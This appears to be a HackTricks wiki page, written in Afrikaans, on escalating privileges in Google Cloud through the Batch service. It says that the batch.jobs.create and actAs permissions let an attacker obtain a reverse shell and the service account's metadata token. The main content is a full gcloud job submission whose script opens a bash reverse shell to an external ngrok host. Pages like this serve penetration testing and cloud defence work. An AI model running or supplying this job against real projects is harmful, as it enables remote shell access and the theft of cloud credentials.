# GCP - Batch Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Batch

Basiese inligting:

{{#ref}}
../gcp-services/gcp-batch-enum.md
{{#endref}}

### `batch.jobs.create`, `iam.serviceAccounts.actAs`

Dit is moontlik om 'n batch job te skep, 'n reverse shell te kry en die metadata token van die SA (compute SA standaard) te onttrek.

<details>
<summary>Skep Batch job met reverse shell</summary>
```bash
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
{
"name": "projects/gcp-labs-35jfenjy/locations/us-central1/jobs/job-lxo3b2ub",
"taskGroups": [
{
"taskCount": "1",
"parallelism": "1",
"taskSpec": {
"computeResource": {
"cpuMilli": "1000",
"memoryMib": "512"
},
"runnables": [
{
"script": {
"text": "/bin/bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/10396 0>&1'\n"
}
}
],
"volumes": []
}
}
],
"allocationPolicy": {
"instances": [
{
"policy": {
"provisioningModel": "STANDARD",
"machineType": "e2-micro"
}
}
]
},
"logsPolicy": {
"destination": "CLOUD_LOGGING"
}
}
EOD
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
